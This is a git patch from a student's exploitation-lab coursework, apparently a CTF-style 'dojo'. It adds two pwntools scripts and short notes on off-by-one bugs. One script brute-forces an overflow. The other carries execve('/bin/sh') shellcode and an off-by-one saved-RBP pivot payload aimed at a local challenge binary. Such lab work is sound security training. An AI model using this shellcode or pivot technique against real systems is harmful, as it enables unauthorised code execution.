From 6b1901696b1fcf773b93a21e3f5b9bd617d39434 Mon Sep 17 00:00:00 2001 From: Kaushik Narayan R Date: Wed, 20 Nov 2024 17:13:22 -0700 Subject: [PATCH] lab 4d - off by one vuln --- 4d/lab4d_2.py | 61 +++++++++++++++++++++++++++++++++++++++++++++++++++ 4d/lab4d_3.py | 51 ++++++++++++++++++++++++++++++++++++++++++ Dojo Notes.md | 17 ++++++++++++++ 3 files changed, 129 insertions(+) create mode 100644 4d/lab4d_2.py create mode 100644 4d/lab4d_3.py diff --git a/4d/lab4d_2.py b/4d/lab4d_2.py new file mode 100644 index 0000000..f1e7dba --- /dev/null +++ b/4d/lab4d_2.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# This exploit template was generated via: +# $ pwn template /challenge/run +from pwn import * + +# Set up pwntools for the correct architecture +exe = context.binary = ELF(args.EXE or '/challenge/run') + +# Many built-in settings can be controlled on the command-line and show up +# in "args". For example, to dump all data sent/received, and disable ASLR +# for all created processes... +# ./exploit.py DEBUG NOASLR + + + +def start(argv=[], *a, **kw): + '''Start the exploit against the target.''' + if args.GDB: + return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) + else: + return process([exe.path] + argv, *a, **kw) + +# Specify your GDB script here for debugging +# GDB will be launched if the exploit is run via e.g. +# ./exploit.py GDB +gdbscript = ''' +tbreak main +continue +'''.format(**locals()) + +#=========================================================== +# EXPLOIT GOES HERE +#=========================================================== +# Arch: amd64-64-little +# RELRO: No RELRO +# Stack: No canary found +# NX: NX unknown - GNU_STACK missing +# PIE: No PIE (0x400000) +# Stack: Executable +# RWX: Has RWX segments + +# create inputs + # send in input + # check if process prints "Good" then cat the flag and print the results. + +for x in range(1, 255): + for y in range(1, 255): + print(repr("A" * 30 + chr(x) + chr(y))) + io = start([("A" * 30) + chr(x) + chr(y)]) + try: + io.readline() + io.readline() + io.readline() + nxtline = io.readline() + if nxtline.startswith(b"Good job!"): + io.interactive() + else: + io.close() + except: + io.close() diff --git a/4d/lab4d_3.py b/4d/lab4d_3.py new file mode 100644 index 0000000..d56af43 --- /dev/null +++ b/4d/lab4d_3.py @@ -0,0 +1,51 @@ +#! /usr/bin/env python3 +from pwn import * +from time import sleep +import re + +context.log_level="error" + +shellcode = b'\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xd2\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05' + +target = process(["/challenge/run"]) +# use below to debug, breakpoints will probably not be correct +#target = process(["gdb", "-ex", "b 48", "-ex", "b 60", "-ex", "run", "-ex", "deref -l 20", "--args", "/challenge/run"]) + +# get buffer location and save as integer value to buffer_addr +buffer_addr=32 +buffer_str = target.readline() +res = re.findall(b"0x[a-f0-9]+", buffer_str) +buffer_addr = int(res[0], 16) +print(f"PYTHON: {hex(buffer_addr)=}") + +# calculate desired value for saved RBP's LSB (near end of buffer) +LSB_new_rbp_addr_val = (buffer_addr + 112) & 0xff +print(f"PYTHON: {hex(LSB_new_rbp_addr_val)=}") + +# this byte will overwrite the single LSB of the saved RBP (as far as we can go) +LSB_new_rbp_as_byte = LSB_new_rbp_addr_val.to_bytes(1, byteorder='big') + +# payload looks like +# \x90*21 + shellcode == 64 bytes (could do more but might need) +# filler until last 16 bytes of buffer +# ... +# temp rbp value (this will be rbp value after leave in this function) +# new IP of calling function (on ret from calling function will execute at this loc) +# Single byte of saved EBP (point to temp RBP location) +shellcode = b"\x90" * 21 + shellcode +payload = shellcode + b"F" * (64 - 16) + p64(buffer_addr) + p64(buffer_addr) + LSB_new_rbp_as_byte + + +#print(f"PYTHON: DEBUG: payload: {''.join([f'\\x{byte:02x}' for byte in payload]) }") + +print(f"PYTHON: Sending payload of {len(payload)} bytes") + +# send payload +target.sendline(payload) + +# go interactive +target.interactive() + +# close it +target.close() + diff --git a/Dojo Notes.md b/Dojo Notes.md index f64d596..3281977 100644 --- a/Dojo Notes.md +++ b/Dojo Notes.md @@ -526,3 +526,20 @@ done - we know offset of puts from libc base, so we can get libc base - rest is same as before - boom + +### lab 4d.1 - off by 1 + +- off by one + - limited control over buffer + - usually a mistake in code - a loop that executes one time too many, a buffer one byte too long, etc. + - here, giving the right value (ascii 7e) as mentioned, will do a buffer overflow to change a pointer's value and trigger the target fn + +### lab 4d.2 - hash off by 1 + +- logic is same +- but we don't know target address value +- so bruteforce + +### lab 4d.3 - off by one pivot + +honestly idk just check class vid and script